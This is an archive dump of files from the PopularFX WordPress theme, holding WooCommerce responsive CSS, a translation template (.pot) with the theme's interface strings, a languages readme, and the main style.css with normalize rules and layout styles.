{ margin-left: auto !important; } .woocommerce #content div.product div.summary, .woocommerce div.product div.summary, .woocommerce-page #content div.product div.summary, .woocommerce-page div.product div.summary, .woocommerce div.product div.images { width: 100%; } .woocommerce div.product div.images { margin-bottom: 1em; } .woocommerce div.product .woocommerce-tabs .panel { padding: 10px; } .woocommerce div.product .woocommerce-tabs .panel .woocommerce-Reviews #comments, .woocommerce div.product .woocommerce-tabs .panel .woocommerce-Reviews #review_form_wrapper{ width: 100%; } .woocommerce table.shop_table th { padding: 10px 5px; } .woocommerce table.shop_table td { padding: 8px 5px; font-size: 15px; } .woocommerce a.remove { font-size: 20px; } #add_payment_method table.cart img, .woocommerce-cart table.cart img, .woocommerce-checkout table.cart img { width: 40px; height: 40px; } .woocommerce .cart-collaterals .cart_totals, .woocommerce-page .cart-collaterals .cart_totals { width: 100%; padding: 10px; } .woocommerce #content table.cart td.actions, .woocommerce table.cart td.actions, .woocommerce-page #content table.cart td.actions, .woocommerce-page table.cart td.actions { padding: 10px; } .woocommerce #content table.cart td.actions .button, .woocommerce table.cart td.actions .button, .woocommerce-page #content table.cart td.actions .button, .woocommerce-page table.cart td.actions .button { float: left; width: auto; } .woocommerce .col2-set, .woocommerce-page .col2-set, .woocommerce #order_review_heading, .woocommerce-page #order_review_heading, .woocommerce #order_review, .woocommerce-page #order_review { width: 100%; margin-left: 0px; margin-bottom: 2em; } .woocommerce-page.woocommerce-checkout form #order_review_heading, .woocommerce.woocommerce-checkout form #order_review_heading { padding: 1em 1em 0.5em; } .woocommerce-page.woocommerce-checkout form #order_review, .woocommerce.woocommerce-checkout form #order_review { padding: 0 1em 1em; } .woocommerce ul.order_details li { padding: 1em 1em 1em 1.5em; width: 100%; } .woocommerce .widget-area { width: 100%; float: left; margin: 30px 0px 0px; height: auto; } .woocommerce-account .woocommerce-MyAccount-navigation, .woocommerce-account .woocommerce-MyAccount-content { width: 100%; } } @media only screen and (max-width: 768px){ .woocommerce table.shop_table tr { margin: 10px 0px; } .woocommerce table.shop_table td.product-remove { background: #000000 !important; } .woocommerce table.shop_table td.product-remove *{ color: #ffffff !important; } .woocommerce table.shop_table td { padding: 10px 10px; } } @media only screen and (max-width: 701px){ .woocommerce ul.products.columns-3 li.product, .woocommerce-page ul.products.columns-3 li.product, .woocommerce ul.products.columns-4 li.product, .woocommerce-page ul.products.columns-4 li.product, .woocommerce ul.products.columns-5 li.product, .woocommerce-page ul.products.columns-5 li.product, .woocommerce ul.products.columns-6 li.product, .woocommerce-page ul.products.columns-6 li.product, .related.products ul.products.columns-3 li.product, .related.products ul.products.columns-3 li.product{ width: 49%; max-width: 49%; min-width: 49%; } .woocommerce ul.products.columns-4 li.product:nth-child(3n), .woocommerce-page ul.products.columns-4 li.product:nth-child(3n), .woocommerce ul.products.columns-5 li.product:nth-child(3n), .woocommerce-page ul.products.columns-5 li.product:nth-child(3n), .woocommerce ul.products.columns-6 li.product:nth-child(3n), .woocommerce-page ul.products.columns-6 li.product:nth-child(3n){ margin-left: auto !important; } .woocommerce ul.products.columns-3 li.product:nth-child(2n), .woocommerce-page ul.products.columns-3 li.product:nth-child(2n), .woocommerce ul.products.columns-4 li.product:nth-child(2n), .woocommerce-page ul.products.columns-4 li.product:nth-child(2n), .woocommerce ul.products.columns-5 li.product:nth-child(2n), .woocommerce-page ul.products.columns-5 li.product:nth-child(2n), .woocommerce ul.products.columns-6 li.product:nth-child(2n), .woocommerce-page ul.products.columns-6 li.product:nth-child(2n){ margin-left: 0 !important; clear: left; } .woocommerce #review_form #respond { margin: 5px 5px 0px; width: 100%; padding: 10px 5px; } .woocommerce #review_form #respond .comments-title, .woocommerce #review_form #respond .comment-reply-title { font-size: 15px; } .woocommerce-account .woocommerce-MyAccount-content { padding: 1em; } } @media only screen and (max-width: 501px){ .woocommerce-ordering,.woocommerce-ordering select { width: 100%; } .woocommerce ul.products.columns-2 li.product, .woocommerce-page ul.products.columns-2 li.product, .woocommerce ul.products.columns-3 li.product, .woocommerce-page ul.products.columns-3 li.product, .woocommerce ul.products.columns-4 li.product, .woocommerce-page ul.products.columns-4 li.product, .woocommerce ul.products.columns-5 li.product, .woocommerce-page ul.products.columns-5 li.product, .woocommerce ul.products.columns-6 li.product, .woocommerce-page ul.products.columns-6 li.product, .related.products ul.products.columns-3 li.product, .related.products ul.products.columns-3 li.product { width: 100%; max-width: 100%; min-width: 100%; } .woocommerce ul.products.columns-3 li.product:nth-child(3n), .woocommerce-page ul.products.columns-3 li.product:nth-child(3n), .woocommerce ul.products.columns-4 li.product:nth-child(3n), .woocommerce-page ul.products.columns-4 li.product:nth-child(3n), .woocommerce ul.products.columns-5 li.product:nth-child(3n), .woocommerce-page ul.products.columns-5 li.product:nth-child(3n), .woocommerce ul.products.columns-6 li.product:nth-child(3n), .woocommerce-page ul.products.columns-6 li.product:nth-child(3n), .woocommerce ul.products.columns-3 li.product:nth-child(2n), .woocommerce-page ul.products.columns-3 li.product:nth-child(2n), .woocommerce ul.products.columns-4 li.product:nth-child(2n), .woocommerce-page ul.products.columns-4 li.product:nth-child(2n), .woocommerce ul.products.columns-5 li.product:nth-child(2n), .woocommerce-page ul.products.columns-5 li.product:nth-child(2n), .woocommerce ul.products.columns-6 li.product:nth-child(2n), .woocommerce-page ul.products.columns-6 li.product:nth-child(2n) { margin-left: auto !important; } .woocommerce ul.products.columns-3 li.product, .woocommerce-page ul.products.columns-3 li.product, .woocommerce ul.products.columns-4 li.product, .woocommerce-page ul.products.columns-4 li.product, .woocommerce ul.products.columns-5 li.product, .woocommerce-page ul.products.columns-5 li.product, .woocommerce ul.products.columns-6 li.product, .woocommerce-page ul.products.columns-6 li.product{ margin-left: 0 !important; margin-bottom: 1em !important; } .woocommerce main, .woocommerce-page main { padding: 1em !important; } .woocommerce #content table.cart td.actions .coupon, .woocommerce table.cart td.actions .coupon, .woocommerce-page #content table.cart td.actions .coupon, .woocommerce-page table.cart td.actions .coupon, .woocommerce-cart table.cart td.actions .coupon .input-text, .woocommerce table.cart td.actions .coupon .input-text+.button{ width: 100%; } .woocommerce-page table.cart td.actions .button{ width: 100%; margin-top: 10px; } } @media only screen and (max-width: 301px){ .woocommerce ul.products li.product .woocommerce-loop-product__title { padding: 0px 10px 5px; } .woocommerce ul.products li.product .price { padding: 0px 10px; } .woocommerce ul.products li.product .button { margin-right: 10px; margin-bottom: 1.5em; } }languages/readme.txt000064400000000502152507063360010514 0ustar00Place your theme language files in this directory. Please visit the following links to learn more about translating WordPress themes: https://make.wordpress.org/polyglots/teams/ https://developer.wordpress.org/themes/functionality/localization/ https://developer.wordpress.org/reference/functions/load_theme_textdomain/ languages/popularfx.pot000064400000010672152507063360011273 0ustar00# Copyright (C) 2020 PopularFX # This file is distributed under the GNU General Public License v2 or later. msgid "" msgstr "" "Project-Id-Version: popularfx 1.2.6\n" "Report-Msgid-Bugs-To: https://popularfx.com/\n" "Last-Translator: Pulkit Gupta \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "POT-Creation-Date: 2020-04-17T21:03:15+00:00\n" "PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n" "X-Generator: PopularFX 1.2.6\n" "X-Domain: popularfx\n" #. Theme Name of the theme msgid "popularfx" msgstr "" #. Theme URI of the theme msgid "https://popularfx.com/" msgstr "" #. Description of the theme msgid "This is a starter theme called popularfx. PopularFX is a theme meant for making themes with Pagelayer. Try turning this theme into the next, most awesome, WordPress theme out there !" msgstr "" #. Author of the theme msgid "Pagelayer" msgstr "" #. Author URI of the theme msgid "https://pagelayer.com/" msgstr "" #: 404.php:18 msgid "Oops! That page can’t be found." msgstr "" #: 404.php:22 msgid "It looks like nothing was found at this location. Maybe try one of the links below or a search?" msgstr "" #: 404.php:31 msgid "Most Used Categories" msgstr "" #. translators: %1$s: smiley #: 404.php:49 msgid "Try looking in the monthly archives. %1$s" msgstr "" #. translators: 1: title. #: comments.php:35 msgid "One thought on “%1$s”" msgstr "" #. translators: 1: comment count number, 2: title. #: comments.php:41 msgctxt "comments title" msgid "%1$s thought on “%2$s”" msgid_plural "%1$s thoughts on “%2$s”" msgstr[0] "" msgstr[1] "" #: comments.php:68 msgid "Comments are closed." msgstr "" #: footer.php:18 msgid "https://wordpress.org/" msgstr "" #. translators: %s: CMS name, i.e. WordPress. #: footer.php:21 msgid "Proudly powered by %s" msgstr "" #. translators: 1: Theme name, 2: Theme author. #: footer.php:27 msgid "Theme: %1$s by %2$s." msgstr "" #: functions.php:53 msgid "Primary" msgstr "" #: functions.php:130 msgid "Sidebar" msgstr "" #: functions.php:132 msgid "Add widgets here." msgstr "" #: header.php:26 msgid "Skip to content" msgstr "" #: header.php:49 msgid "Primary Menu" msgstr "" #. translators: %s: post date. #: inc/template-tags.php:30 msgctxt "post date" msgid "Posted on %s" msgstr "" #. translators: %s: post author. #: inc/template-tags.php:46 msgctxt "post author" msgid "by %s" msgstr "" #. translators: used between list items, there is a space after the comma #: inc/template-tags.php:63 msgid ", " msgstr "" #. translators: 1: list of categories. #: inc/template-tags.php:66 msgid "Posted in %1$s" msgstr "" #. translators: used between list items, there is a space after the comma #: inc/template-tags.php:70 msgctxt "list item separator" msgid ", " msgstr "" #. translators: 1: list of tags. #: inc/template-tags.php:73 msgid "Tagged %1$s" msgstr "" #. translators: %s: post title #: inc/template-tags.php:83 msgid "Leave a Comment on %s" msgstr "" #. translators: %s: Name of current post. Only visible to screen readers #: inc/template-tags.php:100 #: template-parts/content-page.php:39 msgid "Edit %s" msgstr "" #: inc/woocommerce.php:186 msgid "View your shopping cart" msgstr "" #. translators: number of items in the mini cart. #: inc/woocommerce.php:190 msgid "%d item" msgid_plural "%d items" msgstr[0] "" msgstr[1] "" #. translators: %s: search query. #: search.php:22 msgid "Search Results for: %s" msgstr "" #: single.php:23 msgid "Previous:" msgstr "" #: single.php:24 msgid "Next:" msgstr "" #: template-parts/content-none.php:14 msgid "Nothing Found" msgstr "" #. translators: 1: link to WP admin new post page. #: template-parts/content-none.php:24 msgid "Ready to publish your first post? Get started here." msgstr "" #: template-parts/content-none.php:37 msgid "Sorry, but nothing matched your search terms. Please try again with some different keywords." msgstr "" #: template-parts/content-none.php:44 msgid "It seems we can’t find what you’re looking for. Perhaps searching can help." msgstr "" #: template-parts/content-page.php:25 #: template-parts/content.php:53 msgid "Pages:" msgstr "" #. translators: %s: Name of current post. Only visible to screen readers #: template-parts/content.php:40 msgid "Continue reading \"%s\"" msgstr "" style.css000064400000071037152507063360006435 0ustar00/*! Theme Name: PopularFX Theme URI: https://popularfx.com Author: Pagelayer Author URI: https://pagelayer.com Description: Lightweight theme to make beautiful websites with Pagelayer. Includes 100s of pre-made templates to design your dream website ! Version: 1.2.6 License: LGPL v2.1 License URI: LICENSE Text Domain: popularfx Tags: custom-background, custom-logo, custom-menu, featured-images, threaded-comments, translation-ready, entertainment, full-width-template, one-column, two-columns, left-sidebar, e-commerce, right-sidebar, microformats, post-formats, theme-options, blog, rtl-language-support Tested up to: 6.5.2 Requires PHP: 5.5 This theme is licensed under the LGPL v2.1. Normalizing styles have been helped along thanks to the fine work of Nicolas Gallagher and Jonathan Neal https://necolas.github.io/normalize.css/ */ /*-------------------------------------------------------------- >>> TABLE OF CONTENTS: ---------------------------------------------------------------- # Normalize # Typography # Elements # Forms # Navigation ## Links ## Menus # Accessibility # Alignments # Widgets # Content ## Posts and pages ## Comments # Infinite scroll # Media ## Captions ## Galleries --------------------------------------------------------------*/ /*-------------------------------------------------------------- # Normalize --------------------------------------------------------------*/ /*! normalize.css v8.0.1 | MIT License | github.com/necolas/normalize.css */ /* Document ========================================================================== */ /** * 1. Correct the line height in all browsers. * 2. Prevent adjustments of font size after orientation changes in iOS. */ html { line-height: 1.15; -webkit-text-size-adjust: 100%; } /* Sections ========================================================================== */ /** * Remove the margin in all browsers. */ body { margin: 0; } /** * Render the `main` element consistently in IE. */ main { display: block; } /** * Correct the font size and margin on `h1` elements within `section` and * `article` contexts in Chrome, Firefox, and Safari. */ h1 { font-size: 2em; margin: 0.67em 0; } /* Grouping content ========================================================================== */ /** * 1. Add the correct box sizing in Firefox. * 2. Show the overflow in Edge and IE. */ hr { box-sizing: content-box; height: 0; overflow: visible; } /** * 1. Correct the inheritance and scaling of font size in all browsers. * 2. Correct the odd `em` font sizing in all browsers. */ pre { font-family: monospace, monospace; font-size: 1em; } /* Text-level semantics ========================================================================== */ /** * Remove the gray background on active links in IE 10. */ a { background-color: transparent; } /** * 1. Remove the bottom border in Chrome 57- * 2. Add the correct text decoration in Chrome, Edge, IE, Opera, and Safari. */ abbr[title] { border-bottom: none; text-decoration: underline; text-decoration: underline dotted; } /** * Add the correct font weight in Chrome, Edge, and Safari. */ b, strong { font-weight: bolder; } /** * 1. Correct the inheritance and scaling of font size in all browsers. * 2. Correct the odd `em` font sizing in all browsers. */ code, kbd, samp { font-family: monospace, monospace; font-size: 1em; } /** * Add the correct font size in all browsers. */ small { font-size: 80%; } /** * Prevent `sub` and `sup` elements from affecting the line height in * all browsers. */ sub, sup { font-size: 75%; line-height: 0; position: relative; vertical-align: baseline; } sub { bottom: -0.25em; } sup { top: -0.5em; } /* Embedded content ========================================================================== */ /** * Remove the border on images inside links in IE 10. */ img { border-style: none; } /* Forms ========================================================================== */ /** * 1. Change the font styles in all browsers. * 2. Remove the margin in Firefox and Safari. */ button, input, optgroup, select, textarea { font-family: inherit; font-size: 100%; line-height: 1.15; margin: 0; } /** * Show the overflow in IE. * 1. Show the overflow in Edge. */ button, input { overflow: visible; } /** * Remove the inheritance of text transform in Edge, Firefox, and IE. * 1. Remove the inheritance of text transform in Firefox. */ button, select { text-transform: none; } /** * Correct the inability to style clickable types in iOS and Safari. */ button, [type="button"], [type="reset"], [type="submit"] { -webkit-appearance: button; } /** * Remove the inner border and padding in Firefox. */ button::-moz-focus-inner, [type="button"]::-moz-focus-inner, [type="reset"]::-moz-focus-inner, [type="submit"]::-moz-focus-inner { border-style: none; padding: 0; } /** * Restore the focus styles unset by the previous rule. */ button:-moz-focusring, [type="button"]:-moz-focusring, [type="reset"]:-moz-focusring, [type="submit"]:-moz-focusring { outline: 1px dotted ButtonText; } /** * Correct the padding in Firefox. */ fieldset { padding: 0.35em 0.75em 0.625em; } /** * 1. Correct the text wrapping in Edge and IE. * 2. Correct the color inheritance from `fieldset` elements in IE. * 3. Remove the padding so developers are not caught out when they zero out * `fieldset` elements in all browsers. */ legend { box-sizing: border-box; color: inherit; display: table; max-width: 100%; padding: 0; white-space: normal; } /** * Add the correct vertical alignment in Chrome, Firefox, and Opera. */ progress { vertical-align: baseline; } /** * Remove the default vertical scrollbar in IE 10+. */ textarea { overflow: auto; } /** * 1. Add the correct box sizing in IE 10. * 2. Remove the padding in IE 10. */ [type="checkbox"], [type="radio"] { box-sizing: border-box; padding: 0; } /** * Correct the cursor style of increment and decrement buttons in Chrome. */ [type="number"]::-webkit-inner-spin-button, [type="number"]::-webkit-outer-spin-button { height: auto; } /** * 1. Correct the odd appearance in Chrome and Safari. * 2. Correct the outline style in Safari. */ [type="search"] { -webkit-appearance: textfield; outline-offset: -2px; } /** * Remove the inner padding in Chrome and Safari on macOS. */ [type="search"]::-webkit-search-decoration { -webkit-appearance: none; } /** * 1. Correct the inability to style clickable types in iOS and Safari. * 2. Change font properties to `inherit` in Safari. */ ::-webkit-file-upload-button { -webkit-appearance: button; font: inherit; } /* Interactive ========================================================================== */ /* * Add the correct display in Edge, IE 10+, and Firefox. */ details { display: block; } /* * Add the correct display in all browsers. */ summary { display: list-item; } /* Misc ========================================================================== */ /** * Add the correct display in IE 10+. */ template { display: none; } /** * Add the correct display in IE 10. */ [hidden] { display: none; } /*-------------------------------------------------------------- # Typography --------------------------------------------------------------*/ body, button, input, select, optgroup, textarea { color: #404040; font-family: "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; font-size: 1rem; line-height: 1.5; } h1, h2, h3, h4, h5, h6 { clear: both; } p { margin-bottom: 1.5em; } dfn, cite, em, i { font-style: italic; } blockquote { margin: 0 1.5em; } address { margin: 0 0 1.5em; } pre { background: #eee; font-family: "Courier 10 Pitch", courier, monospace; font-size: 0.9375rem; line-height: 1.6; margin-bottom: 1.6em; max-width: 100%; overflow: auto; padding: 1.6em; } code, kbd, tt, var { font-family: monaco, consolas, "Andale Mono", "DejaVu Sans Mono", monospace; font-size: 0.9375rem; } abbr, acronym { border-bottom: 1px dotted #666; cursor: help; } mark, ins { background: #fff9c0; text-decoration: none; } big { font-size: 125%; } /*-------------------------------------------------------------- # Elements --------------------------------------------------------------*/ /* Inherit box-sizing to more easily change it's value on a component level. @link http://css-tricks.com/inheriting-box-sizing-probably-slightly-better-best-practice/ */ *, *::before, *::after { box-sizing: inherit; } html { box-sizing: border-box; } body { background-color:#f5f5f5; } hr { background-color: #ccc; border: 0; height: 1px; margin-bottom: 1.5em; } ul, ol { margin: 0 0 1.5em 3em; } ul { list-style: disc; } ol { list-style: decimal; } li > ul, li > ol { margin-bottom: 0; margin-left: 1.5em; } dt { font-weight: 700; } dd { margin: 0 1.5em 1.5em; } img { height: auto; max-width: 100%; } figure { margin: 1em 0; } table { margin: 0 0 1.5em; width: 100%; } /*-------------------------------------------------------------- # Forms --------------------------------------------------------------*/ button, input[type="button"], input[type="reset"], input[type="submit"] { border: 1px solid; border-color: #ccc #ccc #bbb; border-radius: 3px; background: #e6e6e6; color: rgba(0, 0, 0, 0.8); font-size: 0.75rem; line-height: 1; padding: 0.6em 1em 0.4em; } button:hover, input[type="button"]:hover, input[type="reset"]:hover, input[type="submit"]:hover { border-color: #ccc #bbb #aaa; } button:active, button:focus, input[type="button"]:active, input[type="button"]:focus, input[type="reset"]:active, input[type="reset"]:focus, input[type="submit"]:active, input[type="submit"]:focus { border-color: #aaa #bbb #bbb; } input[type="text"], input[type="email"], input[type="url"], input[type="password"], input[type="search"], input[type="number"], input[type="tel"], input[type="range"], input[type="date"], input[type="month"], input[type="week"], input[type="time"], input[type="datetime"], input[type="datetime-local"], input[type="color"], textarea { color: #666; border: 1px solid #ccc; border-radius: 3px; padding: 3px; } input[type="text"]:focus, input[type="email"]:focus, input[type="url"]:focus, input[type="password"]:focus, input[type="search"]:focus, input[type="number"]:focus, input[type="tel"]:focus, input[type="range"]:focus, input[type="date"]:focus, input[type="month"]:focus, input[type="week"]:focus, input[type="time"]:focus, input[type="datetime"]:focus, input[type="datetime-local"]:focus, input[type="color"]:focus, textarea:focus { color: #111; } select { border: 1px solid #ccc; } textarea { width: 100%; } /*-------------------------------------------------------------- # Navigation --------------------------------------------------------------*/ /*-------------------------------------------------------------- ## Links --------------------------------------------------------------*/ a { color: #4169e1; text-decoration: none; } a:visited { color: #800080; } a:hover, a:focus, a:active{ color:#2196f3; } a:focus { outline: thin dotted; } a:hover, a:active { outline: 0; } /*-------------------------------------------------------------- ## Menus --------------------------------------------------------------*/ .site-header{ background-color:#ffffff; border-bottom: 1px solid #eaeaea; position:relative; margin-left: auto; margin-right: auto; padding: 0% 4%; width: 100%; } .site-branding{ display:inline-block; padding:10px; width: 30%; } .site-title{ font-size:30px; font-weight:500; color:#212121; margin:0px; } .site-title a{ font-weight:500; color:#212121; text-decoration:none; text-transform:capitalize; } .site-description{ margin: 1px; } .main-navigation { margin: 15px 0px; padding: 0; display:inline-block; width: 68%; vertical-align: top; text-align: right; } .main-navigation .menu-item-has-children > ul{ position: absolute; border: 1px solid #dfdfdf; position: absolute; top: -1000px; } .main-navigation ul { min-width: 150px; margin: 0; padding: 0; list-style: none; } .main-navigation li { display: inline-block; position: relative; text-align: left; } .main-navigation li.focus > ul, .main-navigation li:hover > ul { top: auto; left: auto; } .main-navigation li li { display: block; } .main-navigation li li.focus > ul, .main-navigation li li:hover > ul { left: 100%; top: 0; } .main-navigation a { color: #000; text-decoration: none; display: block; white-space: nowrap; padding: 10px 15px; } .main-navigation a:hover, .main-navigation li:hover > a, .main-navigation .current-menu-item > a, .main-navigation .current-menu-ancestor > a { color: #0072b7; } .main-navigation .menu-item-has-children > a::before { content: ""; position: absolute; right: 0; top: 50%; transform: translateY(-50%); border: 4px solid transparent; border-top-color: currentColor; } .main-navigation ul .menu-item-has-children > a::before { right: 2px; border-top-color: transparent; border-left-color: currentColor; } .main-navigation .menu-item-has-children .sub-menu{ background: #fff; } /* Small menu. */ .menu-toggle, .main-navigation.toggled ul { display: block; } @media screen and (min-width: 37.5em) { .menu-toggle { display: none; } } .site-main .comment-navigation, .site-main .posts-navigation, .site-main .post-navigation { margin: 0 0 1.5em; } .comment-navigation .nav-links, .posts-navigation .nav-links, .post-navigation .nav-links { display: flex; } .comment-navigation .nav-previous, .posts-navigation .nav-previous, .post-navigation .nav-previous { flex: 1 0 50%; } .comment-navigation .nav-next, .posts-navigation .nav-next, .post-navigation .nav-next { text-align: end; flex: 1 0 50%; } /*-------------------------------------------------------------- # Accessibility --------------------------------------------------------------*/ /* Text meant only for screen readers. */ .screen-reader-text { border: 0; clip: rect(1px, 1px, 1px, 1px); clip-path: inset(50%); height: 1px; margin: -1px; overflow: hidden; padding: 0; position: absolute !important; width: 1px; word-wrap: normal !important; } .screen-reader-text:focus { background-color: #f1f1f1; border-radius: 3px; box-shadow: 0 0 2px 2px rgba(0, 0, 0, 0.6); clip: auto !important; clip-path: none; color: #21759b; display: block; font-size: 0.875rem; font-weight: 700; height: auto; left: 5px; line-height: normal; padding: 15px 23px 14px; text-decoration: none; top: 5px; width: auto; z-index: 100000; } /* Do not show the outline on the skip link target. */ #primary[tabindex="-1"]:focus { outline: 0; } /*-------------------------------------------------------------- # Alignments --------------------------------------------------------------*/ .alignleft { float: left; margin-right: 1.5em; margin-bottom: 1.5em; } .alignright { float: right; margin-left: 1.5em; margin-bottom: 1.5em; } .aligncenter { clear: both; display: block; margin-left: auto; margin-right: auto; margin-bottom: 1.5em; } /*-------------------------------------------------------------- # Widgets --------------------------------------------------------------*/ .widget { margin: 0 0 1.5em; } .widget select { max-width: 100%; } .widget-area{ display:inline-block; background-color:#ffffff; padding:25px; margin-top:30px; border: 1px solid #eaeaea; box-shadow: 0px 5px 30px 0 #0000001a; } .widget-title{ font-size:20px; font-weight: 500; text-decoration: none; color: #4d4d4d; margin: 8px 0px; } .widget ul, .widget ol{ margin-left:0px; } .widget li a{ text-decoration:none; color:#212121; font-size:14px; line-height:1.8; } .widget li a:hover{ color:#2196f3; } .widget_calendar table, .widget_calendar td, .widget_calendar th { padding: 0; text-align: center; border-spacing:0; } .widget_calendar td { border-right: none; border-left: none; } .widget_calendar .widget-title{ text-transform:capitalize; } .widget_calendar .wp-calendar-table caption{ margin:10px 0px; } .widget_calendar .wp-calendar-table tr td{ text-decoration:none; border-bottom:1px solid #e0e0e0; padding:5px; } .widget_calendar .wp-calendar-table tr th{ text-decoration:none; border-top:1px solid #e0e0e0; border-bottom:1px solid #e0e0e0; padding:5px; } .widget_calendar .wp-calendar-table td a{ text-decoration:none; } /*-------------------------------------------------------------- # Content --------------------------------------------------------------*/ /*-------------------------------------------------------------- ## Posts and pages --------------------------------------------------------------*/ .sticky { display: block; } .post, .page { margin: 0; } .updated:not(.published) { display: none; } .page-content, .entry-content, .entry-summary { margin: 1.5em 0 0; } .page-links { clear: both; margin: 0 0 1.5em; } .site-main{ height: auto; vertical-align: top; margin:0px auto; width:100%; } .article{ background-color:#ffffff; padding:25px; margin:30px; border: 1px solid #eaeaea; box-shadow: 0px 5px 30px 0 #0000001a; } .article .cat-links, .article .comments-link, .article .edit-link, .article .tags-links{ margin:0px 0px 0px 10px; text-decoration:underline; } .article .post-thumbnail img{ margin-top:20px; } .nav-links{ margin:0px 30px; } .nav-links a{ text-decoration:none; } .entry-title{ margin:5px 0px; font-weight:500; } .entry-title a{ font-weight: 500; text-decoration: none; color: #4d4d4d; } .entry-title a:hover, .entry-title a:focus, .entry-title a:active{ color:#2196f3; } .entry-content{ font-size:16px; line-height:1.8; margin-top:0px; } .site{ background-color: transparent; } .site-footer{ background-color:#171717; padding:40px 0px; text-align:center; margin-top:60px; color:#ffffff; clear: both; } .site-info a{ color:#ffffff; text-decoration:none; } .site-info a:hover{ color:#2196f3; text-decoration:none; } .wp-block-quote{ margin: 10px 10px 10px 40px; padding: 15px 15px 15px 20px; border-left: 5px solid #e0e0e0; font-style:italic; } .error-404{ background-color:#ffffff; padding:25px; margin:40px; border: 1px solid #eaeaea; box-shadow: 0px 5px 30px 0 #0000001a; text-align:center; } .error-code{ font-size:150px; margin:0px; font-weight:500; } .error-404 .widget_recent_entries, .error-404 .widget_categories, .error-404 .widget_archive{ width:33%; display:inline-block; vertical-align:top; margin-top:5%; } .error-404 .widget_recent_entries ul, .error-404 .widget_categories ul{ list-style-type:none; padding-left:0px; } .widget_recent_entries .widgettitle, .widget_categories .widgettitle, .widget_archive .widgettitle{ font-size: 22px; font-weight: 600; text-decoration: none; color: #4d4d4d; margin: 8px 0px; } .widget_archive select{ max-width: 100%; width: 200px; border-radius: 4px; padding: 5px 10px; height: 40px; } .error-404 .search-field{ display: block; margin: 0 auto; width: 350px; padding: 10px; border-radius: 4px; } .error-404 .search-submit{ font-size:16px; padding: 10px 25px; margin-top: 10px; } /*-------------------------------------------------------------- ## Comments --------------------------------------------------------------*/ .comments-area { margin: 0 7.6923% 3.5em; background-color:#ffffff; padding:20px 40px; } .comment-list + .comment-respond, .comment-navigation + .comment-respond { padding-top: 1.75em; } .comments-title, .comment-reply-title { font-size: 23px; font-size: 1.4375rem; font-weight: 500; line-height: 1.3125; } .comments-title { margin-bottom: 1.217391304em; } .comment-list { list-style: none; margin: 0; padding:0; } .comment-list article, .comment-list .pingback, .comment-list .trackback { border-top: 1px solid #212121; padding: 1.75em 0; } .comment-list .children { list-style: none; margin: 0; } .comment-list .children > li { padding-left: 0.875em; } .comment-author { color: #1a1a1a; } .vcard .fn a{ color:#171717; text-transform:capitalize; font-size: 18px; font-weight: 500; text-decoration: none; } .comment-author .avatar { float: left; height: 40px; margin-right: 0.875em; position: relative; width: 40px; } .comment-metadata { font-size: 13px; font-size: 0.8125rem; line-height: 1.6153846154; } .comment-metadata { margin-bottom: 10px; display:inline-block; } .comment-metadata a { text-decoration:underline; } .comment-metadata a:hover, .comment-metadata a:focus { } .comment-metadata .edit-link { display: inline-block; } .comment-metadata .edit-link:before { content: "\002f"; display: inline-block; opacity: 0.7; padding: 0 0.538461538em; } .comment-content{ font-size:16px; font-weight:100; line-height:1.8; } .comment-content ul, .comment-content ol { margin: 0 0 1.5em 1.25em; } .comment-content li > ul, .comment-content li > ol { margin-bottom: 0; } .comment-reply-link { border-radius: 2px; color: #ffffff; background-color:#2196f3; display: inline-block; font-size: 13px; font-size: 0.8125rem; line-height: 1; padding: 10px 20px; text-decoration:underline; } .comment-reply-link:hover, .comment-reply-link:focus { border-color: currentColor; color: #ffffff; outline: 0; } .comment-form { /*padding-top: 1.75em;*/ } .comment-form label { display: block; font-size: 13px; font-size: 0.8125rem; letter-spacing: 0.076923077em; line-height: 1.6153846154; margin-bottom: 0.5384615385em; text-transform: uppercase; } .comment-list .comment-form { padding-bottom: 1.75em; } .comment-notes, .comment-awaiting-moderation{ font-size: 13px; font-size: 0.8125rem; line-height: 1.6153846154; margin-bottom: 2.1538461538em; } .no-comments { border-top: 1px solid #d1d1d1; font-weight: 700; margin: 0; padding-top: 1.75em; } .comment-navigation + .no-comments { border-top: 0; padding-top: 0; } .comment-reply-title small { font-size: 100%; } .comment-reply-title small a { border: 0; height: 40px; font-size: 14px; overflow: hidden; width: 90px; margin-left: 10px; text-decoration:none; font-weight:400; } .comment-reply-title small a:hover, .comment-reply-title small a:focus { } .comment-form-comment textarea{ background-color:#f5f5f5; } .bypostauthor{ display: block; } .says{ display:none; } .form-submit .submit{ background-color: #2196f3; color: #fff; font-weight: 500; padding: 14px 13px; border:none; } input.search-field{ border: 1px solid #eaeaea; width: auto; font-size: 16px; padding: 8px; } input.search-submit{ background-color: #2196f3; color: #fff; font-weight: 500; padding: 14px 13px; vertical-align: middle; border:none; margin-top:5px; cursor: pointer; } /*-------------------------------------------------------------- # Infinite scroll --------------------------------------------------------------*/ /* Hide the Posts Navigation and the Footer when Infinite Scroll is in use. */ .infinite-scroll .posts-navigation, .infinite-scroll.neverending .site-footer { display: none; } /* Re-display the Theme Footer when Infinite Scroll has reached its end. */ .infinity-end.neverending .site-footer { display: block; } /*-------------------------------------------------------------- # Media --------------------------------------------------------------*/ .page-content .wp-smiley, .entry-content .wp-smiley, .comment-content .wp-smiley { border: none; margin-bottom: 0; margin-top: 0; padding: 0; } /* Make sure embeds and iframes fit their containers. */ embed, iframe, object { max-width: 100%; } /* Make sure logo link wraps around logo image. */ .custom-logo-link { display: inline-block; float:left; margin-right: 14px; } /*-------------------------------------------------------------- ## Captions --------------------------------------------------------------*/ .wp-caption { margin-bottom: 1.5em; max-width: 100%; } .wp-caption img[class*="wp-image-"] { display: block; margin-left: auto; margin-right: auto; } .wp-caption .wp-caption-text { margin: 0.8075em 0; } .wp-caption-text { text-align: center; } /*-------------------------------------------------------------- ## Galleries --------------------------------------------------------------*/ .gallery { margin-bottom: 1.5em; display: grid; grid-gap: 1.5em; } .gallery-item { display: inline-block; text-align: center; width: 100%; } .gallery-columns-2 { grid-template-columns: repeat(2, 1fr); } .gallery-columns-3 { grid-template-columns: repeat(3, 1fr); } .gallery-columns-4 { grid-template-columns: repeat(4, 1fr); } .gallery-columns-5 { grid-template-columns: repeat(5, 1fr); } .gallery-columns-6 { grid-template-columns: repeat(6, 1fr); } .gallery-columns-7 { grid-template-columns: repeat(7, 1fr); } .gallery-columns-8 { grid-template-columns: repeat(8, 1fr); } 